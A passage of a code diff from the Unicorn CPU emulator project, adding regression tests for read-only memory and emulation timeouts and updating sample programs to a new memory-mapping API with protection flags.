"\xff" "xxxxAAAAxxxBBBB";
|
||||||
|
// total size: 33 bytes
|
||||||
|
|
||||||
|
/*
|
||||||
|
jmp short bottom
|
||||||
|
top:
|
||||||
|
pop eax
|
||||||
|
add eax, 4
|
||||||
|
and eax, 0xfffffffc
|
||||||
|
add eax, 1 ; unaligned
|
||||||
|
mov dword [eax], 0x12345678 ; try to write into code section
|
||||||
|
add eax, 7 ; aligned
|
||||||
|
mov dword [eax], 0x87654321 ; try to write into code section
|
||||||
|
nop
|
||||||
|
bottom:
|
||||||
|
call top
|
||||||
|
*/
|
||||||
|
|
||||||
|
// callback for tracing instruction
|
||||||
|
static void hook_code(uch handle, uint64_t address, uint32_t size, void *user_data)
|
||||||
|
{
|
||||||
|
uint32_t esp;
|
||||||
|
printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size);
|
||||||
|
|
||||||
|
uc_reg_read(handle, UC_X86_REG_ESP, &esp);
|
||||||
|
printf(">>> --- ESP is 0x%x\n", esp);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// callback for tracing memory access (READ or WRITE)
|
||||||
|
static bool hook_mem_invalid(uch handle, uc_mem_type type,
|
||||||
|
uint64_t address, int size, int64_t value, void *user_data)
|
||||||
|
{
|
||||||
|
uint32_t esp;
|
||||||
|
uc_reg_read(handle, UC_X86_REG_ESP, &esp);
|
||||||
|
|
||||||
|
switch(type) {
|
||||||
|
default:
|
||||||
|
// return false to indicate we want to stop emulation
|
||||||
|
return false;
|
||||||
|
case UC_MEM_WRITE:
|
||||||
|
//if this is a push, esp has not been adjusted yet
|
||||||
|
if (esp == (address + size)) {
|
||||||
|
uint32_t upper;
|
||||||
|
upper = (esp + 0xfff) & ~0xfff;
|
||||||
|
printf(">>> Stack appears to be missing at 0x%"PRIx64 ", allocating now\n", address);
|
||||||
|
// map this memory in with 2MB in size
|
||||||
|
uc_mem_map(handle, upper - 0x8000, 0x8000, UC_PROT_READ | UC_PROT_WRITE);
|
||||||
|
// return true to indicate we want to continue
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
printf(">>> Missing memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n",
|
||||||
|
address, size, value);
|
||||||
|
return false;
|
||||||
|
case UC_MEM_WRITE_NW:
|
||||||
|
printf(">>> RO memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n",
|
||||||
|
address, size, value);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#define STACK 0x500000
|
||||||
|
#define STACK_SIZE 0x5000
|
||||||
|
|
||||||
|
int main(int argc, char **argv, char **envp)
|
||||||
|
{
|
||||||
|
uch handle, trace1, trace2;
|
||||||
|
uc_err err;
|
||||||
|
uint8_t bytes[8];
|
||||||
|
uint32_t esp;
|
||||||
|
int result;
|
||||||
|
int map_stack = 0;
|
||||||
|
|
||||||
|
if (argc == 2 && strcmp(argv[1], "--map-stack") == 0) {
|
||||||
|
map_stack = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Memory mapping test\n");
|
||||||
|
|
||||||
|
// Initialize emulator in X86-32bit mode
|
||||||
|
err = uc_open(UC_ARCH_X86, UC_MODE_32, &handle);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_open() with error returned: %u\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
uc_mem_map(handle, 0x100000, 0x1000, UC_PROT_ALL);
|
||||||
|
uc_mem_map(handle, 0x200000, 0x2000, UC_PROT_ALL);
|
||||||
|
uc_mem_map(handle, 0x300000, 0x3000, UC_PROT_ALL);
|
||||||
|
uc_mem_map(handle, 0x400000, 0x4000, UC_PROT_READ);
|
||||||
|
|
||||||
|
if (map_stack) {
|
||||||
|
printf("Pre-mapping stack\n");
|
||||||
|
uc_mem_map(handle, STACK, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE);
|
||||||
|
} else {
|
||||||
|
printf("Mapping stack on first invalid memory access\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
esp = STACK + STACK_SIZE;
|
||||||
|
|
||||||
|
uc_reg_write(handle, UC_X86_REG_ESP, &esp);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
if (uc_mem_write(handle, 0x400000, PROGRAM, sizeof(PROGRAM))) {
|
||||||
|
printf("Failed to write emulation code to memory, quit!\n");
|
||||||
|
return 2;
|
||||||
|
} else {
|
||||||
|
printf("Allowed to write to read only memory via uc_mem_write\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
//uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)0x400000, (uint64_t)0x400fff);
|
||||||
|
|
||||||
|
// intercept invalid memory events
|
||||||
|
uc_hook_add(handle, &trace1, UC_HOOK_MEM_INVALID, hook_mem_invalid, NULL);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time
|
||||||
|
printf("BEGIN execution - 1\n");
|
||||||
|
err = uc_emu_start(handle, 0x400000, 0x400000 + sizeof(PROGRAM), 0, 10);
|
||||||
|
if (err) {
|
||||||
|
printf("Expected failue on uc_emu_start() with error returned %u: %s\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
} else {
|
||||||
|
printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n");
|
||||||
|
}
|
||||||
|
printf("END execution - 1\n");
|
||||||
|
|
||||||
|
// emulate machine code in infinite time
|
||||||
|
printf("BEGIN execution - 2\n");
|
||||||
|
uint32_t eax = 0x40002C;
|
||||||
|
uc_reg_write(handle, UC_X86_REG_EAX, &eax);
|
||||||
|
err = uc_emu_start(handle, 0x400015, 0x400000 + sizeof(PROGRAM), 0, 2);
|
||||||
|
if (err) {
|
||||||
|
printf("Expected failure on uc_emu_start() with error returned %u: %s\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
} else {
|
||||||
|
printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n");
|
||||||
|
}
|
||||||
|
printf("END execution - 2\n");
|
||||||
|
|
||||||
|
printf("Verifying content at 0x400025 is unchanged\n");
|
||||||
|
if (!uc_mem_read(handle, 0x400025, bytes, 4)) {
|
||||||
|
printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x400025, *(uint32_t*) bytes);
|
||||||
|
if (0x41414141 != *(uint32_t*) bytes) {
|
||||||
|
printf("ERROR content in read only memory changed\n");
|
||||||
|
} else {
|
||||||
|
printf("SUCCESS content in read only memory unchanged\n");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4));
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Verifying content at 0x40002C is unchanged\n");
|
||||||
|
if (!uc_mem_read(handle, 0x40002C, bytes, 4)) {
|
||||||
|
printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x40002C, *(uint32_t*) bytes);
|
||||||
|
if (0x42424242 != *(uint32_t*) bytes) {
|
||||||
|
printf("ERROR content in read only memory changed\n");
|
||||||
|
} else {
|
||||||
|
printf("SUCCESS content in read only memory unchanged\n");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4));
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Verifying content at bottom of stack is readable and correct\n");
|
||||||
|
if (!uc_mem_read(handle, esp - 4, bytes, 4)) {
|
||||||
|
printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)(esp - 4), *(uint32_t*) bytes);
|
||||||
|
} else {
|
||||||
|
printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4));
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
uc_close(&handle);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
@ -8,14 +8,16 @@
|
|||||||
|
|
||||||
int got_sigill = 0;
|
int got_sigill = 0;
|
||||||
|
|
||||||
void _interrupt(struct uc_struct *uc, uint32_t intno, void *user_data) {
|
void _interrupt(struct uc_struct *uc, uint32_t intno, void *user_data)
|
||||||
|
{
|
||||||
if (intno == 6) {
|
if (intno == 6) {
|
||||||
uc_emu_stop(uc);
|
uc_emu_stop(uc);
|
||||||
got_sigill = 1;
|
got_sigill = 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int main() {
|
int main()
|
||||||
|
{
|
||||||
int size;
|
int size;
|
||||||
uint8_t *buf;
|
uint8_t *buf;
|
||||||
struct uc_struct *uc;
|
struct uc_struct *uc;
|
||||||
@ -32,9 +34,9 @@ int main() {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
memset (buf, 0, size);
|
memset (buf, 0, size);
|
||||||
if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) {
|
if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) {
|
||||||
uc_mem_write(uc, UC_BUG_WRITE_ADDR,
|
uc_mem_write(uc, UC_BUG_WRITE_ADDR,
|
||||||
(const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8);
|
(const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8);
|
||||||
}
|
}
|
||||||
uc_hook_add(uc, &uh_trap, UC_HOOK_INTR, _interrupt, NULL);
|
uc_hook_add(uc, &uh_trap, UC_HOOK_INTR, _interrupt, NULL);
|
||||||
uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1);
|
uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1);
|
||||||
|
@ -18,9 +18,9 @@ int main()
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
size = UC_BUG_WRITE_SIZE;
|
size = UC_BUG_WRITE_SIZE;
|
||||||
if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) {
|
if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) {
|
||||||
uc_mem_write(uc, UC_BUG_WRITE_ADDR,
|
uc_mem_write (uc, UC_BUG_WRITE_ADDR,
|
||||||
(const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8);
|
(const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8);
|
||||||
}
|
}
|
||||||
err = uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1);
|
err = uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1);
|
||||||
uc_close(uc);
|
uc_close(uc);
|
||||||
|
149
regress/timeout_segfault.c
Normal file
149
regress/timeout_segfault.c
Normal file
@ -0,0 +1,149 @@
|
|||||||
|
/*
|
||||||
|
timeout_segfault.c
|
||||||
|
|
||||||
|
This program shows a case where the emulation timer keeps running after
|
||||||
|
emulation has ended. It triggers an intermittent segfault when _timeout_fn()
|
||||||
|
tries to call uc_emu_stop() after emulation has already been cleaned up. This
|
||||||
|
code is the same as samples/sample_arm.c, except that it adds a timeout on each
|
||||||
|
call to uc_emu_start(). See issue #78 for more details:
|
||||||
|
https://github.com/unicorn-engine/unicorn/issues/78
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
|
||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
|
||||||
|
|
||||||
|
// code to be emulated
|
||||||
|
#define ARM_CODE "\x37\x00\xa0\xe3\x03\x10\x42\xe0" // mov r0, #0x37; sub r1, r2, r3
|
||||||
|
#define THUMB_CODE "\x83\xb0" // sub sp, #0xc
|
||||||
|
|
||||||
|
// memory address where emulation starts
|
||||||
|
#define ADDRESS 0x10000
|
||||||
|
|
||||||
|
// number of seconds to wait before timeout
|
||||||
|
#define TIMEOUT 5
|
||||||
|
|
||||||
|
static void hook_block(uch handle, uint64_t address, uint32_t size, void *user_data)
|
||||||
|
{
|
||||||
|
printf(">>> Tracing basic block at 0x%"PRIx64 ", block size = 0x%x\n", address, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void hook_code(uch handle, uint64_t address, uint32_t size, void *user_data)
|
||||||
|
{
|
||||||
|
printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void test_arm(void)
|
||||||
|
{
|
||||||
|
uch handle;
|
||||||
|
uc_err err;
|
||||||
|
uch trace1, trace2;
|
||||||
|
|
||||||
|
int r0 = 0x1234; // R0 register
|
||||||
|
int r2 = 0x6789; // R1 register
|
||||||
|
int r3 = 0x3333; // R2 register
|
||||||
|
int r1; // R1 register
|
||||||
|
|
||||||
|
printf("Emulate ARM code\n");
|
||||||
|
|
||||||
|
// Initialize emulator in ARM mode
|
||||||
|
err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &handle);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_open() with error returned: %u (%s)\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// map 2MB memory for this emulation
|
||||||
|
uc_mem_map(handle, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
uc_mem_write(handle, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1);
|
||||||
|
|
||||||
|
// initialize machine registers
|
||||||
|
uc_reg_write(handle, UC_ARM_REG_R0, &r0);
|
||||||
|
uc_reg_write(handle, UC_ARM_REG_R2, &r2);
|
||||||
|
uc_reg_write(handle, UC_ARM_REG_R3, &r3);
|
||||||
|
|
||||||
|
// tracing all basic blocks with customized callback
|
||||||
|
uc_hook_add(handle, &trace1, UC_HOOK_BLOCK, hook_block, NULL, (uint64_t)1, (uint64_t)0);
|
||||||
|
|
||||||
|
// tracing one instruction at ADDRESS with customized callback
|
||||||
|
uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)ADDRESS, (uint64_t)ADDRESS);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time (last param = 0), or when
|
||||||
|
// finishing all the code.
|
||||||
|
err = uc_emu_start(handle, ADDRESS, ADDRESS + sizeof(ARM_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_emu_start() with error returned: %u\n", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
// now print out some registers
|
||||||
|
printf(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
|
uc_reg_read(handle, UC_ARM_REG_R0, &r0);
|
||||||
|
uc_reg_read(handle, UC_ARM_REG_R1, &r1);
|
||||||
|
printf(">>> R0 = 0x%x\n", r0);
|
||||||
|
printf(">>> R1 = 0x%x\n", r1);
|
||||||
|
|
||||||
|
uc_close(&handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void test_thumb(void)
|
||||||
|
{
|
||||||
|
uch handle;
|
||||||
|
uc_err err;
|
||||||
|
uch trace1, trace2;
|
||||||
|
|
||||||
|
int sp = 0x1234; // R0 register
|
||||||
|
|
||||||
|
printf("Emulate THUMB code\n");
|
||||||
|
|
||||||
|
// Initialize emulator in ARM mode
|
||||||
|
err = uc_open(UC_ARCH_ARM, UC_MODE_THUMB, &handle);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_open() with error returned: %u (%s)\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// map 2MB memory for this emulation
|
||||||
|
uc_mem_map(handle, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
uc_mem_write(handle, ADDRESS, (uint8_t *)THUMB_CODE, sizeof(THUMB_CODE) - 1);
|
||||||
|
|
||||||
|
// initialize machine registers
|
||||||
|
uc_reg_write(handle, UC_ARM_REG_SP, &sp);
|
||||||
|
|
||||||
|
// tracing all basic blocks with customized callback
|
||||||
|
uc_hook_add(handle, &trace1, UC_HOOK_BLOCK, hook_block, NULL, (uint64_t)1, (uint64_t)0);
|
||||||
|
|
||||||
|
// tracing one instruction at ADDRESS with customized callback
|
||||||
|
uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)ADDRESS, (uint64_t)ADDRESS);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time (last param = 0), or when
|
||||||
|
// finishing all the code.
|
||||||
|
err = uc_emu_start(handle, ADDRESS, ADDRESS + sizeof(THUMB_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_emu_start() with error returned: %u\n", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
// now print out some registers
|
||||||
|
printf(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
|
uc_reg_read(handle, UC_ARM_REG_SP, &sp);
|
||||||
|
printf(">>> SP = 0x%x\n", sp);
|
||||||
|
|
||||||
|
uc_close(&handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv, char **envp)
|
||||||
|
{
|
||||||
|
test_arm();
|
||||||
|
printf("==========================\n");
|
||||||
|
test_thumb();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
@ -17,6 +17,8 @@ if test -e $DIR/sample_x86; then
|
|||||||
$DIR/sample_x86 -64
|
$DIR/sample_x86 -64
|
||||||
echo "=========================="
|
echo "=========================="
|
||||||
$DIR/sample_x86 -16
|
$DIR/sample_x86 -16
|
||||||
|
echo "=========================="
|
||||||
|
$DIR/shellcode -32
|
||||||
fi
|
fi
|
||||||
if test -e $DIR/sample_arm; then
|
if test -e $DIR/sample_arm; then
|
||||||
echo "=========================="
|
echo "=========================="
|
||||||
|
@ -47,7 +47,7 @@ static void test_arm(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1);
|
||||||
@ -100,7 +100,7 @@ static void test_thumb(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)THUMB_CODE, sizeof(THUMB_CODE) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)THUMB_CODE, sizeof(THUMB_CODE) - 1);
|
||||||
|
@ -45,7 +45,7 @@ static void test_arm64(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1);
|
||||||
|
@ -60,7 +60,7 @@ static void test_m68k(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)M68K_CODE, sizeof(M68K_CODE) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)M68K_CODE, sizeof(M68K_CODE) - 1);
|
||||||
|
@ -44,7 +44,7 @@ static void test_mips_eb(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EB, sizeof(MIPS_CODE_EB) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EB, sizeof(MIPS_CODE_EB) - 1);
|
||||||
@ -94,7 +94,7 @@ static void test_mips_el(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EL, sizeof(MIPS_CODE_EL) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EL, sizeof(MIPS_CODE_EL) - 1);
|
||||||
|
@ -46,7 +46,7 @@ static void test_sparc(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
uc_mem_write(uc, ADDRESS, (uint8_t *)SPARC_CODE, sizeof(SPARC_CODE) - 1);
|
uc_mem_write(uc, ADDRESS, (uint8_t *)SPARC_CODE, sizeof(SPARC_CODE) - 1);
|
||||||
|
@ -26,6 +26,7 @@
|
|||||||
//#define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9"
|
//#define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9"
|
||||||
#define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
|
#define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
|
||||||
#define X86_CODE16 "\x00\x00" // add byte ptr [bx + si], al
|
#define X86_CODE16 "\x00\x00" // add byte ptr [bx + si], al
|
||||||
|
#define X86_CODE64_SYSCALL "\x0f\x05" // SYSCALL
|
||||||
|
|
||||||
// memory address where emulation starts
|
// memory address where emulation starts
|
||||||
#define ADDRESS 0x1000000
|
#define ADDRESS 0x1000000
|
||||||
@ -76,7 +77,7 @@ static bool hook_mem_invalid(struct uc_struct *uc, uc_mem_type type,
|
|||||||
printf(">>> Missing memory is being WRITE at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n",
|
printf(">>> Missing memory is being WRITE at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n",
|
||||||
address, size, value);
|
address, size, value);
|
||||||
// map this memory in with 2MB in size
|
// map this memory in with 2MB in size
|
||||||
uc_mem_map(uc, 0xaaaa0000, 2 * 1024*1024);
|
uc_mem_map(uc, 0xaaaa0000, 2 * 1024*1024, UC_PROT_ALL);
|
||||||
// return true to indicate we want to continue
|
// return true to indicate we want to continue
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@ -152,6 +153,19 @@ static void hook_out(struct uc_struct *uc, uint32_t port, int size, uint32_t val
|
|||||||
printf("--- register value = 0x%x\n", tmp);
|
printf("--- register value = 0x%x\n", tmp);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// callback for SYSCALL instruction (X86).
|
||||||
|
static void hook_syscall(struct uc_struct *uc, void *user_data)
|
||||||
|
{
|
||||||
|
uint64_t rax;
|
||||||
|
|
||||||
|
uc_reg_read(uc, UC_X86_REG_RAX, &rax);
|
||||||
|
if (rax == 0x100) {
|
||||||
|
rax = 0x200;
|
||||||
|
uc_reg_write(uc, UC_X86_REG_RAX, &rax);
|
||||||
|
} else
|
||||||
|
printf("ERROR: was not expecting rax=0x%"PRIx64 " in syscall\n", rax);
|
||||||
|
}
|
||||||
|
|
||||||
static void test_i386(void)
|
static void test_i386(void)
|
||||||
{
|
{
|
||||||
struct uc_struct *uc;
|
struct uc_struct *uc;
|
||||||
@ -172,7 +186,7 @@ static void test_i386(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32, sizeof(X86_CODE32) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32, sizeof(X86_CODE32) - 1)) {
|
||||||
@ -231,7 +245,7 @@ static void test_i386_jump(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JUMP,
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JUMP,
|
||||||
@ -278,7 +292,7 @@ static void test_i386_loop(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_LOOP, sizeof(X86_CODE32_LOOP) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_LOOP, sizeof(X86_CODE32_LOOP) - 1)) {
|
||||||
@ -330,7 +344,7 @@ static void test_i386_invalid_mem_read(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_READ, sizeof(X86_CODE32_MEM_READ) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_READ, sizeof(X86_CODE32_MEM_READ) - 1)) {
|
||||||
@ -388,7 +402,7 @@ static void test_i386_invalid_mem_write(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
